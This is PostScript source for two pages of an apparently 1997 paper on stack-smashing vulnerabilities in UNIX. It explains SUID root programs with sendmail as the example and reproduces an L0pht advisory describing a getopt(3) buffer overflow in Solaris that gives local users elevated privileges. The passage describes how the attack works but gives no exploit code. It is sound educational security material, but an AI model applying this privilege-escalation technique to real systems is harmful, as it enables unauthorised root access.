19.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nh)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (it)A -0.400 0 (e)A 19.000 0 32 (d p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 19.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 18.900 0 32 0.100 0 (s s)D (ub)S 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S 0.200 0 (tl)A 22.000 0 32 -3.000 0 (y )D (p)S -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 19.000 0 32 (d )W 0.200 0 (t)A 19.000 0 32 (o o)W 0.200 0 (t)A (h)S -0.400 0 (e)A 20.300 0 32 -0.300 0 (r )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5288 M -0.200 0 (spawned by root's running processes.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5465 M 0.400 0 (S)A -0.400 0 (e)A 6.800 0 32 0.200 0 (t )D -0.200 0 (U)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (D )D -0.300 0 (\()A 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A -0.200 0 (D)A 7.300 0 32 -0.300 0 (\) )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 7.900 0 32 0.100 0 (s )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2417 5465 M -0.200 0 (UN)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 9.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 7.800 0 32 0.200 0 (m )D -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A (n)S 7.800 0 32 0.200 0 (t )D 8.400 0 32 -0.400 0 (a )D (u)S 0.100 0 (s)A -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5642 M -0.300 0 (r)A 6.000 0 32 (un p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D (o)S 6.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (h)S -0.400 0 (e)A 6.800 0 32 0.200 0 (ll )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (p)S 0.200 0 (t)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A (no)S 0.200 0 (t)A (h)S -0.400 0 (e)A 7.300 0 32 -0.300 0 (r )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 7.000 0 32 (. )W 0.600 0 (W)A (h)S -0.400 0 (e)A 7.000 0 32 (n )W -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 7.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 6.800 0 32 0.200 0 (m )D (o)S 7.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (h)S -0.400 0 (e)A 6.800 0 32 0.200 0 (ll )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (p)S 6.800 0 32 0.200 0 (t i)D 7.000 0 32 (n )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 511 500 3982 1817 rc 0 0 0 sco %%IncludeFont: Courier-Bold (F8) cvn 0.836 (Courier-Bold) cvn /Type1 T (Courier-Bold) cvn mF (F8_67) cvn F8 67 xF F8_67 Ji 612 514 M -0.200 0 (http://www.l0pht.com/advisories.html)A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 122 rr : 0 0 0 sco O ; 4412 506 N M 6 122 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco %%IncludeFont: Courier (F10) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F10_67) cvn F10 67 xF F10_67 Ji 612 628 M -0.200 0 (Author: mudge@l0pht.com)A ; 586 628 N M 6 107 rr : 0 0 0 sco O ; 4412 628 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 735 M -0.200 0 (Release)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 1212 735 M -0.200 0 (Application)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2112 735 M -0.200 0 (Platforms)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 735 M -0.200 0 (Severity)A ; 586 735 N M 6 107 rr : 0 0 0 sco O ; 4412 735 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 842 M -0.200 0 ( 1/14/97 Dynamically linked)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 842 M -0.200 0 (Users can exploit a proble, in)A ; 586 842 N M 6 107 rr : 0 0 0 sco O ; 4412 842 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 949 M -0.200 0 ( SUID programs calling)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 949 M -0.200 0 (Solaris SUID programs that use)A ; 586 949 N M 6 107 rr : 0 0 0 sco O ; 4412 949 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1056 M -0.200 0 ( getopt\(3\) Solaris OS)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 1056 M -0.200 0 (getopt\(3\) to obtain elevated)A ; 586 1056 N M 6 107 rr : 0 0 0 sco O ; 4412 1056 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 1163 M -0.200 0 (privileges)A ; 586 1163 N M 6 107 rr : 0 0 0 sco O ; 4412 1163 N M 6 107 rr : 0 0 0 sco O ; 586 1270 N M 6 107 rr : 0 0 0 sco O ; 4412 1270 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1377 M -0.200 0 32 ( )W 7.000 0 32 -0.200 0 (Scenario: A buffer overflow condition)D 7.800 0 32 ( )W 8.000 0 32 -0.200 0 (exists in the getopt routine. By supplying an invalid)D ; 586 1377 N M 6 107 rr : 0 0 0 sco O ; 4412 1377 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1484 M 18.000 0 32 -0.200 0 (option and replacing argv[0] of a SUID)D 18.800 0 32 ( )W 19.000 0 32 -0.200 0 (program that uses the getopt\(3\) function with the)D ; 586 1484 N M 6 107 rr : 0 0 0 sco O ; 4412 1484 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1591 M 1.000 0 32 -0.200 0 (appropriate address and machine code instructions, it)D 1.800 0 32 ( )W 2.000 0 32 -0.200 0 (is possible to overwrite the saved stack)D ; 586 1591 N M 6 107 rr : 0 0 0 sco O ; 4412 1591 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1698 M 4.000 0 32 -0.200 0 (frame and upon return force the)D 4.800 0 32 ( )W 5.000 0 32 -0.200 0 (processor to execute user supplied instructions with elevated)D ; 586 1698 N M 6 107 rr : 0 0 0 sco O ; 4412 1698 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1805 M -0.200 0 (permissions.)A ; 586 1805 N M 6 107 rr : 0 0 0 sco O ; 4412 1805 N M 6 107 rr : 0 0 0 sco O ; 586 1912 N M 6 107 rr : 0 0 0 sco O ; 4412 1912 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 2019 M -0.200 0 ( Solaris Libc Vulnerability.)A ; 586 2019 N M 6 107 rr : 0 0 0 sco O ; 4412 2019 N M 6 107 rr : 0 0 0 sco O ; 586 2311 N M 6 6 rr : 0 0 0 sco O ; 586 2311 N M 6 6 rr : 0 0 0 sco O ; 592 2311 N M 3820 6 rr : 0 0 0 sco O ; 4412 2311 N M 6 6 rr : 0 0 0 sco O ; 4412 2311 N M 6 6 rr : 0 0 0 sco O ; 586 2126 N M 6 185 rr : 0 0 0 sco O ; 4412 2126 N M 6 185 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 8 ]%%) = %%PageTrailer %%Page: 9 9 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (9)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 3.000 0 32 (, )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 2.900 0 32 0.100 0 (ss )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 3.800 0 32 0.200 0 (m )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 4.000 0 32 (on )W 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A (u)S -0.400 0 (a)A 0.200 0 (ll)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M (o)S -0.200 0 (w)A (n)S -0.400 0 (e)A 19.000 0 32 (d b)W 22.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 19.300 0 32 -0.300 0 (r )D -0.200 0 (w)A 19.000 0 32 (ho )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (e)A 20.000 0 32 (d )W 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 20.000 0 32 (. )W -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 20.400 0 32 -0.400 0 (a )D (un)S 0.200 0 (i)A (qu)S 20.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 20.000 0 32 (on b)W 19.800 0 32 0.200 0 (it t)D 20.000 0 32 (o )W 0.200 0 (i)A (nd)S 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A -0.200 0 (D)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m i)D (nd)S 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D 0.200 0 (t)A 2.000 0 32 (o )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 3.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m t)D (h)S -0.400 0 (a)A 1.800 0 32 0.200 0 (t t)D (h)S 2.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 1.800 0 32 0.200 0 (m )D -0.200 0 (w)A 1.800 0 32 0.200 0 (ill )D -0.300 0 (r)A 3.000 0 32 (un und)W -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M (o)S -0.200 0 (w)A (n)S -0.400 0 (e)A -0.300 0 (r\222)A 2.900 0 32 0.100 0 (s )D -2.300 0 (I)A 3.200 0 32 -0.200 0 (D )D -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A (h)S -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r\222)A 2.900 0 32 0.100 0 (s )D -2.300 0 (I)A 3.200 0 32 -0.200 0 (D w)D 3.000 0 32 (ho )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 4.000 0 32 (. )W -0.200 0 (O)A -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (n )W 0.200 0 (tim)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 4.200 0 32 -0.200 0 (D )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M -0.400 0 (a)A -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D (o)S -0.200 0 (w)A (n)S -0.400 0 (e)A 2.000 0 32 (d b)W 5.000 0 32 -3.000 0 (y )D -0.300 0 (r)A (oo)S 1.800 0 32 0.200 0 (t; )D -0.200 0 (w)A (h)S 0.200 0 (il)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 2.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 1.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 5.000 0 32 -3.000 0 (y )D (b)S 2.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 2.400 0 32 -0.400 0 (e )D (b)S 5.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 2.000 0 32 (n und)W -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 2.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D 2.000 0 32 (on )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.184 0 (system, they run in memory with unrestricted access to the system. For Example:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2194 2041 M 0.035 0 (SUID example 4.a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2188 M -0.400 0 (a)A 8.000 0 32 (n )W -0.800 0 (")A 0.100 0 (s)A 8.800 0 32 -0.800 0 (" )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 8.400 0 32 -0.400 0 (e )D (po)S -0.300 0 (r)A 0.200 0 (ti)A 8.000 0 32 (on o)W 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -1.000 0 (')A -0.200 0 (w)A (o)S -0.300 0 (r)A 0.200 0 (l)A (d)S 10.000 0 32 -1.000 0 (' )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 9.000 0 32 (on b)W 0.200 0 (l)A (o)S -0.400 0 (c)A 9.000 0 32 (k )W 0.200 0 (i)A (nd)S 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 8.800 0 32 0.200 0 (t t)D (h)S 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F5_83) cvn F5 83 xF F5_83 Ji 3992 2213 M 0.200 0 (sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2365 M -0.300 0 (f)A 0.200 0 (il)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D 8.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (e)A 7.800 0 32 0.200 0 (t )D -0.200 0 (U)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (D )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 8.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1498 2390 M 0.200 0 (root)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1698 2365 M 8.000 0 32 ( )W 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D (o)S -0.200 0 (w)A (n)S -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D (o)S 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 8.000 0 32 (. )W 8.200 0 32 -0.200 0 (A )D -0.300 0 (f)A 0.200 0 (il)A 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (u)S -0.400 0 (c)A 8.000 0 32 (h )W -0.400 0 (a)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 8.000 0 32 (n )W -0.400 0 (ca)A 0.200 0 (ll)A -0.400 0 (e)A 9.000 0 32 (d )W -0.800 0 (")A 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A -0.200 0 (D)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2542 M -0.300 0 (r)A (oo)S 0.200 0 (t)A (.)S 5.800 0 32 -0.800 0 (" )D 6.000 0 32 ( )W -0.700 0 (B)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1462 2567 M 0.200 0 (sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1862 2542 M 6.000 0 32 ( )W -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A 6.000 0 32 (n unp)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 6.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 6.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t )D (und)S -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 6.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A (po)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (il)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2719 M (u)S 0.100 0 (s)A -0.400 0 (e)A 9.900 0 32 0.100 0 (s )D -0.300 0 (r)A (oo)S 0.200 0 (t)A -1.000 0 (')A 9.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 10.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 10.000 0 32 (o )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A 10.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1913 2744 M 0.200 0 (sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2313 2719 M 10.000 0 32 (. )W 11.000 0 32 ( )W -0.100 0 (T)A (h)S 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 14.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 11.000 0 32 (n o)W -0.300 0 (r)A (d)S -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 11.000 0 32 (o )W -0.400 0 (a)A 0.200 0 (ll)A (o)S 11.200 0 32 -0.200 0 (w )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 3878 2744 M 0.200 0 (sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4278 2719 M 11.000 0 32 ( )W 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2896 M (upd)S -0.400 0 (a)A 0.200 0 (t)A 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D (o)S 2.300 0 32 -0.300 0 (r )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r\222)A 1.900 0 32 0.100 0 (s )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A 2.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A (h)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 2.000 0 32 (n und)W -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 2.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D (do)S -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D (no)S 1.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A (v)S 2.400 0 32 -0.400 0 (e acce)D 1.900 0 32 0.100 0 (ss )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3073 M 7.000 0 32 (do b)W 10.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (a)A (u)S 0.200 0 (lt)A 7.000 0 32 (. )W -0.200 0 (A)A 6.900 0 32 0.100 0 (s )D (on)S 7.400 0 32 -0.400 0 (e ca)D 7.000 0 32 (n )W 0.100 0 (s)A -0.400 0 (ee)A 7.000 0 32 (, )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 6.800 0 32 0.200 0 (t )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 7.000 0 32 (d )W 0.200 0 (t)A 8.000 0 32 (o )W -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A (n)S 7.800 0 32 0.200 0 (t )D -0.400 0 (a)A 8.000 0 32 (n unp)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 8.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3250 M -0.161 0 (temporary, and necessary, use of privileged resources. As Eugene Spafford comments[6]:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3427 M -0.027 0 (\223\205Many UNIX programs need to run with superuser privileges. These)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3525 M 0.040 0 (programs are run as SUID )A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F7) cvn 0.892 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F7_83) cvn F7 83 xF F7_83 Ji 2105 3525 M 0.160 0 (root)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2244 3525 M -0.081 0 ( programs, when the system boots, or as)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3623 M -0.071 0 (network servers. A single bug in any of these complicated programs can)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3721 M -0.056 0 (compromise the safety of your entire system. This characteristic is probably)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3819 M -0.009 0 (a design flaw, but it is basic to the design of UNIX, and it not likely to)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3917 M 0.183 0 (change.\224 [6],\(701\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4015 M -0.100 0 (E)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A -0.400 0 (a)A 0.200 0 (ti)A 15.000 0 32 (on o)W 